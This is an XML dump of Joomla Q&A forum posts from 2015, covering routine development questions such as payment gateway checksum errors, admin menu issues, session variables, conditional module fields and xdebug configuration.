  <row Id="14001" PostTypeId="2" ParentId="14000" CreationDate="2015-10-21T01:30:22.213" Score="2" Body="&lt;p&gt;I just found a solution. I used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jQuery( document ).ready(function( $ ) {&#xA;  // Code goes here&#xA;});&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think &lt;code&gt;jQuery.noConflict();&lt;/code&gt; was being fired in another script.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2015-10-21T01:30:22.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14002" PostTypeId="1" CreationDate="2015-10-21T04:18:42.843" Score="0" ViewCount="3993" Body="&lt;p&gt;Our merchant Id is: 5253813&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a basic joomla website developer. This site was developed using a template with joomla2 and virtuemart2 versions.&#xA;I have also installed the payu plugin provided in payumoney website(Payment gate way). &#xA;The problem is once after checkout I am getting the below error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;SORRY! We were unable to process your payment Checksum Failed&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once after getting redirected from the below mentioned URL:&#xA;&lt;a href=&quot;http://example.com/SiteRoot/index.php?option=com_virtuemart&amp;amp;view=cart&amp;amp;task=confirm&amp;amp;lang=en&quot; rel=&quot;nofollow&quot;&gt;http://example.com/SiteRoot/index.php?option=com_virtuemart&amp;amp;view=cart&amp;amp;task=confirm&amp;amp;lang=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our Configuration information are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP Built On:                       Linux just25.justhost.com&lt;/li&gt;&#xA;&lt;li&gt;Database Version:                   5.5.42-37.1-log&lt;/li&gt;&#xA;&lt;li&gt;Database Collation:                 utf8_general_ci&lt;/li&gt;&#xA;&lt;li&gt;PHP Version:                        5.4.43&lt;/li&gt;&#xA;&lt;li&gt;Web Server:                         Apache&lt;/li&gt;&#xA;&lt;li&gt;WebServer to PHP Interface:         cgi-fcgi&lt;/li&gt;&#xA;&lt;li&gt;Joomla! Version:                    Joomla! 2.5.28 Stable [ Ember ]&lt;/li&gt;&#xA;&lt;li&gt;Joomla! Platform Version:           Joomla Platform 11.4.0 Stable&lt;/li&gt;&#xA;&lt;li&gt;VirtueMart:                         2.6.17&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Kindly give me some suggestion to fix this issue. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7134" LastActivityDate="2015-10-21T04:18:42.843" Title="Checksum Failed error during checkout - Joomla-virtuemart-payumoney-paymentgateway" Tags="|joomla-2.5|virtuemart|apache|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14004" PostTypeId="1" CreationDate="2015-10-21T07:56:00.743" Score="0" ViewCount="733" Body="&lt;p&gt;I have a component called Fabrik installed on my site (running version 3.4.1) which works perfectly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some months ago we migrated some content and other components across to the site from an older version of Joomla (2.x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since that migration I can no longer see the Fabrik component in the Components menu. It is still installed and works exactly as expected. It is visible in the global config menu and I can also access it via a URL. I can access other components through this menu, but not this particular one for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would really like to see it in that menu again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to see this component in the Components menu again please?&lt;/p&gt;&#xA;" OwnerUserId="4097" LastEditorUserId="12352" LastEditDate="2021-04-24T21:00:19.040" LastActivityDate="2021-04-24T21:00:19.040" Title="Can't see component in backend menu but can access it via a URL" Tags="|component|administration|fabrik|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14005" PostTypeId="1" CreationDate="2015-10-21T08:26:57.983" Score="1" ViewCount="57" Body="&lt;p&gt;I have component and into this component customly add tab with some functionality. Now I want that only some group of users can see that tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add some code to give access to only group that I want? &lt;/p&gt;&#xA;" OwnerUserId="5327" LastEditorUserId="3650" LastEditDate="2016-03-08T01:01:17.563" LastActivityDate="2016-06-06T14:08:58.913" Title="How to add access control to tab" Tags="|joomla-3.x|access|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14007" PostTypeId="2" ParentId="14005" CreationDate="2015-10-21T09:27:15.980" Score="0" Body="&lt;p&gt;Goto this link it will helps you (&lt;a href=&quot;https://docs.joomla.org/J2.5:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J2.5:Access_Control_List_Tutorial&lt;/a&gt;) (&lt;a href=&quot;https://docs.joomla.org/User_Group_Access_levels_explained_in_simple_terms&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/User_Group_Access_levels_explained_in_simple_terms&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-10-21T09:27:15.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14009" PostTypeId="2" ParentId="13997" CreationDate="2015-10-21T11:36:53.727" Score="4" Body="&lt;p&gt;I did a plugin to do that some time ago.&#xA;You can download it from here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webemus.com/en/37-productos/extensiones-joomla/303-joomla-autologin-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.webemus.com/en/37-productos/extensiones-joomla/303-joomla-autologin-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is necesary to set &quot;New User Account Activation&quot; to none in User Manager Options in order the plugin to work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it works for you&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="371" LastEditDate="2015-10-21T11:43:16.827" LastActivityDate="2015-10-21T11:43:16.827" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14010" PostTypeId="1" CreationDate="2015-10-21T12:04:50.177" Score="0" ViewCount="116" Body="&lt;p&gt;I have a button that say's &quot;Begin&quot;, however I would like it to show some kind of overlay that would allow the user to select out of 3 options where each would take them to another article. In effect the same as having 3 buttons that say &quot;Begin A&quot;, &quot;Begin B&quot; and &quot;Begin C&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; class=&quot;uk-button uk-button-secondary &quot; style=&quot;margin-top: 5px;&quot;&amp;gt;Begin!&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing something to that effect? I've googled around but found nothing that answered my question.&lt;/p&gt;&#xA;" OwnerUserId="7136" LastEditorUserId="1629" LastEditDate="2015-10-21T17:38:31.603" LastActivityDate="2015-11-20T18:16:38.057" Title="How can I make a button show an overlay?" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14011" PostTypeId="2" ParentId="14010" CreationDate="2015-10-21T12:13:07.237" Score="1" Body="&lt;p&gt;You're using the &lt;code&gt;uk-&lt;/code&gt; class which comes from the &lt;a href=&quot;http://getuikit.com/&quot; rel=&quot;nofollow&quot;&gt;UIKit&lt;/a&gt; framework developed by Yootheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a look at the UIKit website, you'll see all the available features, one of which is an overlay, or perhaps modal (which I think you're referring to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here would be a basic modal implementation of what you require:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#my-id&quot; class=&quot;uk-button uk-button-secondary&quot; data-uk-modal&amp;gt;Begin!&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;my-id&quot; class=&quot;uk-modal&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;uk-modal-dialog&quot;&amp;gt;&#xA;        &amp;lt;a class=&quot;uk-modal-close uk-close&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;div class=&quot;uk-modal-header&quot;&amp;gt;Select an Article&amp;lt;/div&amp;gt;&#xA;            &amp;lt;select&amp;gt;&#xA;                &amp;lt;option value=&quot;1&quot;&amp;gt;Article 1&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;2&quot;&amp;gt;Article 2&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;3&quot;&amp;gt;Article 3&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;div class=&quot;uk-modal-footer&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;#&quot; class=&quot;uk-button&quot;&amp;gt;Go&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will either have to use jQuery or PHP to get the user's selected article choice and direct them to the correct page.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-21T12:13:07.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14012" PostTypeId="1" AcceptedAnswerId="14014" CreationDate="2015-10-21T12:48:42.917" Score="1" ViewCount="913" Body="&lt;p&gt;I'm trying to integrate &lt;a href=&quot;http://responsivefilemanager.com/&quot; rel=&quot;nofollow&quot;&gt;http://responsivefilemanager.com/&lt;/a&gt; into joomla to replace the normal image manager so I can have per user image folder option.&#xA;I managed to integrate it reasonably well into TinyMCE, but now have to set &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_SESSION[&quot;RF&quot;][&quot;subfolder&quot;] =&quot;subfolder/$user/&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot seem to figure out how to set this properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for joomla 3x &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone has another solution to set a user specific image folder, I'm all ears :)&lt;/p&gt;&#xA;" OwnerUserId="7137" LastActivityDate="2015-10-23T01:45:57.387" Title="Setting Specific Session Variable (user specific image folder)" Tags="|joomla-3.x|session|images|jsession|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14013" PostTypeId="2" ParentId="14004" CreationDate="2015-10-21T13:00:17.877" Score="1" Body="&lt;p&gt;Most likely something wrong in the #__menu table. &#xA;If you have access to phpmyadmin, I would start by having a look there. &#xA;Compare the values of other administrator components menu entries that you can see with the values of the Fabrik entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible that the Fabrik entry is missing completely. If so check in the database of the other website where it is working for the working configuration and try and copy the settings from there.&lt;/p&gt;&#xA;" OwnerUserId="7137" LastActivityDate="2015-10-21T13:00:17.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14014" PostTypeId="2" ParentId="14012" CreationDate="2015-10-21T15:01:19.657" Score="0" Body="&lt;p&gt;I'm not sure as to why this specific session needs to be set, but I'll go alone with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set a session value, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('subfolder', 'value');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To in your case, if you want to get the logged in user's name and it it for the path, you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('subfolder', JFactory::getUser()-&amp;gt;username);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update with PHP native session&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$username = JFactory::getUser()-&amp;gt;username;&#xA;$_SESSION['RF']['subfolder'] = &quot;subfolder/$username /&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-10-21T15:28:10.403" LastActivityDate="2015-10-21T15:28:10.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14017" PostTypeId="2" ParentId="13994" CreationDate="2015-10-21T23:59:59.530" Score="1" Body="&lt;p&gt;To add additional custom fields to your article you can create a content plugin by following steps on this &lt;a href=&quot;https://zunostudios.com/blog/development/203-how-to-add-custom-fields-to-articles-in-joomla&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can install this &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/aixeena-cck&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; and learn how to add the custom fields for joomla article from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add custom fields for other component you can follow this  &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To override the article.xml in the models/forms/ folder you can install this &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/miscellaneous/form-xml-override&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; and add your override file in the folder &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/administrator/templates/system/forms/com_content/article.xml&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;for the admin side&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/templates/system/forms/com_content/article.xml&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;for the frontend side&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-10-21T23:59:59.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14018" PostTypeId="2" ParentId="2212" CreationDate="2015-10-22T02:38:59.537" Score="1" Body="&lt;p&gt;I ran into a similar issue today where the home page of the site was resolving to the index page, but when attempting to access any subpages via the subpage alias I received a general 404 error. This was particularly strange, as I had just migrated the working site from a subdomain to the primary domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After finding this thread I replaced my .htaccess file with &lt;a href=&quot;https://docs.joomla.org/Preconfigured_htaccess&quot; rel=&quot;nofollow&quot;&gt;Joomla's preconfigured .htaccess file&lt;/a&gt; and all is working fine for me now. I'd recommend trying the same, but be sure to save a copy of your previous file.&lt;/p&gt;&#xA;" OwnerUserId="7140" LastActivityDate="2015-10-22T02:38:59.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14019" PostTypeId="1" CreationDate="2015-10-22T07:19:56.307" Score="2" ViewCount="1101" Body="&lt;p&gt;I tried to edit some of the core files in Joomla. Im using MVC override plugin:&lt;a href=&quot;https://github.com/ghazal/plg_mvcoverride&quot; rel=&quot;nofollow&quot;&gt;enter link description here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to override article.php and articles.php in components/com_content/models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The override is done and is now working. My problem is that i get this error on my frontpage/homepage. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Cannot redeclare class ContentModelArticles in /Applications/MAMP/htdocs/site/components/com_content/models/articles.php on line 680&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats the only place i get that error. In articles.php and other places, there are no sign of any similar errors. Can anyone pleas tell me what the solution would be? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not sure how to do the override. i just copied the articles.php and put it inside another folder in my templates file. so everything is the same except I added some more fields to my articles.php.  It starts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;/**&#xA; * This models supports retrieving lists of articles.&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class ContentModelArticles extends JModelList&#xA;{&#xA;    /**&#xA;     * Constructor.&#xA;     *&#xA;     * @param   array  $config  An optional associative array of configuration settings.&#xA;     *&#xA;     * @see     JController&#xA;     * @since   1.6&#xA;     */&#xA;    public function __construct($config = array())&#xA;    {&#xA;        if (empty($config['filter_fields']))&#xA;        {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im not sure what to do. If I change the ContentModelsArticles to something else. &lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="3650" LastEditDate="2016-03-08T01:00:41.033" LastActivityDate="2016-05-07T21:19:20.577" Title="Fatal error: Cannot redeclare class ContentModelArticles" Tags="|overrides|mvc|fatal-error|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14021" PostTypeId="1" AcceptedAnswerId="14022" CreationDate="2015-10-22T13:13:32.023" Score="3" ViewCount="2485" Body="&lt;p&gt;I created a simple module to enter values in textfields which I show in module positions on the frontend (banner images...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need a solution like if dropdown value in fieldname &quot;xy&quot; is &quot;xyz&quot; then show me another xml field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="4156" LastEditorUserId="12352" LastEditDate="2019-06-14T10:53:51.823" LastActivityDate="2019-07-02T09:11:50.383" Title="How to conditionally show fields in module xml?" Tags="|module|xml|fields|conditional-statements|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14022" PostTypeId="2" ParentId="14021" CreationDate="2015-10-22T13:20:49.610" Score="11" Body="&lt;p&gt;You can use Joomla's &lt;code&gt;showon&lt;/code&gt; attribute in your field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an exmaple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;first&quot; type=&quot;list&quot; label=&quot;Select Something&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;2&quot;&amp;gt;Option 2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;3&quot;&amp;gt;Option 3&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;second&quot; type=&quot;list&quot; label=&quot;Select Something Else&quot; showon=&quot;first:3&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;Other Option 1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;2&quot;&amp;gt;Other Option 2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;3&quot;&amp;gt;Other Option 3&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above example will only show the second field if option &lt;strong&gt;3&lt;/strong&gt; is selected from the first field, using &lt;code&gt;showon=&quot;first:3&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;showon&lt;/code&gt; attribute, you need to define the &lt;strong&gt;name&lt;/strong&gt; of the field and the &lt;strong&gt;value&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-07-02T09:11:50.383" LastActivityDate="2019-07-02T09:11:50.383" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="14023" PostTypeId="1" CreationDate="2015-10-22T16:54:14.257" Score="1" ViewCount="503" Body="&lt;p&gt;I was trying to read and understand some joomla core PHP code when I came across this function. It is located in libraries/joomla/table/table.php line 268. At the end of the function in line 305, it returns an object created by &lt;code&gt;$tableClass&lt;/code&gt;, what I don't understand is, where is this &lt;code&gt;$tableClass&lt;/code&gt; class defined? Following is a complete list of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getInstance($type, $prefix = 'JTable', $config = array())&#xA;{&#xA;    // Sanitize and prepare the table class name.&#xA;    $type       = preg_replace('/[^A-Z0-9_\.-]/i', '', $type);&#xA;    $tableClass = $prefix . ucfirst($type);&#xA;&#xA;    // Only try to load the class if it doesn't already exist.&#xA;    if (!class_exists($tableClass))&#xA;    {&#xA;        // Search for the class file in the JTable include paths.&#xA;        jimport('joomla.filesystem.path');&#xA;&#xA;        $paths = self::addIncludePath();&#xA;        $pathIndex = 0;&#xA;&#xA;        while (!class_exists($tableClass) &amp;amp;&amp;amp; $pathIndex &amp;lt; count($paths))&#xA;        {&#xA;            if ($tryThis = JPath::find($paths[$pathIndex++], strtolower($type) . '.php'))&#xA;            {&#xA;                // Import the class file.&#xA;                include_once $tryThis;&#xA;            }&#xA;        }&#xA;&#xA;        if (!class_exists($tableClass))&#xA;        {&#xA;            // If we were unable to find the class file in the JTable include paths, raise a warning and return false.&#xA;            JLog::add(JText::sprintf('JLIB_DATABASE_ERROR_NOT_SUPPORTED_FILE_NOT_FOUND', $type), JLog::WARNING, 'jerror');&#xA;&#xA;            return false;&#xA;        }&#xA;    }&#xA;&#xA;    // If a database object was passed in the configuration array use it, otherwise get the global one from JFactory.&#xA;    $db = isset($config['dbo']) ? $config['dbo'] : JFactory::getDbo();&#xA;&#xA;    // Instantiate a new table class and return it.&#xA;    return new $tableClass($db);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-04-23T02:00:43.943" Title="Question about JTable::getInstance in libraries/joomla/table/table.php file" Tags="|php|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14025" PostTypeId="2" ParentId="14012" CreationDate="2015-10-23T01:45:57.387" Score="0" Body="&lt;p&gt;You can try use JCE Editor. This extension has this option each user can see only his directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/joomla-3&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/downloads/editor/joomla-3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see this configuration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/tutorials/editor/item/setting-the-file-directory-path&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/support/tutorials/editor/item/setting-the-file-directory-path&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-10-23T01:45:57.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14026" PostTypeId="2" ParentId="14005" CreationDate="2015-10-23T01:51:48.853" Score="1" Body="&lt;p&gt;You can try this extension to enable disable menu extension ir content for each user ir group user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pages-and-items.com/extensions/user-private-page&quot; rel=&quot;nofollow&quot;&gt;http://www.pages-and-items.com/extensions/user-private-page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-10-23T01:51:48.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14027" PostTypeId="2" ParentId="13989" CreationDate="2015-10-23T09:47:26.377" Score="0" Body="&lt;p&gt;As you're referring to a module which is (in my own opinion), the most simple type of extension, I'll answer this for a module only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most modules have a &lt;em&gt;helper.php&lt;/em&gt; file which contains function that retrieve data to be displayed in the module output, so basically, everything that happens behind the scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where your class &lt;code&gt;modPimediaplayerHelper&lt;/code&gt; will be defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you simply need to look in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ROOT/modules/mod_pmedia_player_helper/helper.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I used &lt;code&gt;mod_pmedia_player_helper&lt;/code&gt; in the path as a guess. It may be slightly different but definitely something along these lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-23T09:47:26.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14032" PostTypeId="1" CreationDate="2015-10-24T04:44:44.210" Score="5" ViewCount="92" Body="&lt;p&gt;A short question about debugging with phpstorm (8-10) and xdebug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7A0NS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7A0NS.png&quot; alt=&quot;phpstorm debugging windwo&quot;&gt;&lt;/a&gt;&#xA;Please have a look at the above screenshot. There is no possibility to see the full object. May I be missing something in the configuration of xdebug/php ini, or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx for helping&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP 5.6 fcgi&#xA;Version     2.3.3&#xA;IDE Key     no value&#xA;Supported protocols Revision&#xA;DBGp - Common DeBuGger Protocol     $Revision: 1.145 $&#xA;Directive   Local Value Master Value&#xA;xdebug.auto_trace   Off Off&#xA;xdebug.cli_color    0   0&#xA;xdebug.collect_assignments  Off Off&#xA;xdebug.collect_includes On  On&#xA;xdebug.collect_params   0   0&#xA;xdebug.collect_return   Off Off&#xA;xdebug.collect_vars Off Off&#xA;xdebug.coverage_enable  On  On&#xA;xdebug.default_enable   On  On&#xA;xdebug.dump.COOKIE  no value    no value&#xA;xdebug.dump.ENV no value    no value&#xA;xdebug.dump.FILES   no value    no value&#xA;xdebug.dump.GET no value    no value&#xA;xdebug.dump.POST    no value    no value&#xA;xdebug.dump.REQUEST no value    no value&#xA;xdebug.dump.SERVER  no value    no value&#xA;xdebug.dump.SESSION no value    no value&#xA;xdebug.dump_globals On  On&#xA;xdebug.dump_once    On  On&#xA;xdebug.dump_undefined   Off Off&#xA;xdebug.extended_info    On  On&#xA;xdebug.file_link_format no value    no value&#xA;xdebug.force_display_errors Off Off&#xA;xdebug.force_error_reporting    0   0&#xA;xdebug.halt_level   0   0&#xA;xdebug.idekey   no value    no value&#xA;xdebug.max_nesting_level    256 256&#xA;xdebug.max_stack_frames -1  -1&#xA;xdebug.overload_var_dump    On  On&#xA;xdebug.profiler_aggregate   Off Off&#xA;xdebug.profiler_append  Off Off&#xA;xdebug.profiler_enable  Off Off&#xA;xdebug.profiler_enable_trigger  Off Off&#xA;xdebug.profiler_enable_trigger_value    no value    no value&#xA;xdebug.profiler_output_dir  /tmp    /tmp&#xA;xdebug.profiler_output_name cachegrind.out.%p   cachegrind.out.%p&#xA;xdebug.remote_autostart Off Off&#xA;xdebug.remote_connect_back  Off Off&#xA;xdebug.remote_cookie_expire_time    3600    3600&#xA;xdebug.remote_enable    On  On&#xA;xdebug.remote_handler   dbgp    dbgp&#xA;xdebug.remote_host  127.0.0.1   127.0.0.1&#xA;xdebug.remote_log   no value    no value&#xA;xdebug.remote_mode  req req&#xA;xdebug.remote_port  9000    9000&#xA;xdebug.scream   Off Off&#xA;xdebug.show_exception_trace Off Off&#xA;xdebug.show_local_vars  Off Off&#xA;xdebug.show_mem_delta   Off Off&#xA;xdebug.trace_enable_trigger Off Off&#xA;xdebug.trace_enable_trigger_value   no value    no value&#xA;xdebug.trace_format 0   0&#xA;xdebug.trace_options    0   0&#xA;xdebug.trace_output_dir /tmp    /tmp&#xA;xdebug.trace_output_name    trace.%c    trace.%c&#xA;xdebug.var_display_max_children 128 128&#xA;xdebug.var_display_max_data 6000    6000&#xA;xdebug.var_display_max_depth    10  10 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An simple check on xdebug site &#xA;&quot;You're already running the latest Xdebug version&quot;&lt;/p&gt;&#xA;" OwnerUserId="5594" LastEditorUserId="5594" LastEditDate="2015-10-26T21:46:43.203" LastActivityDate="2015-10-26T21:46:43.203" Title="Phpstorm debug Joomla\\Data\\DataObject" Tags="|joomla-3.x|development|debug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
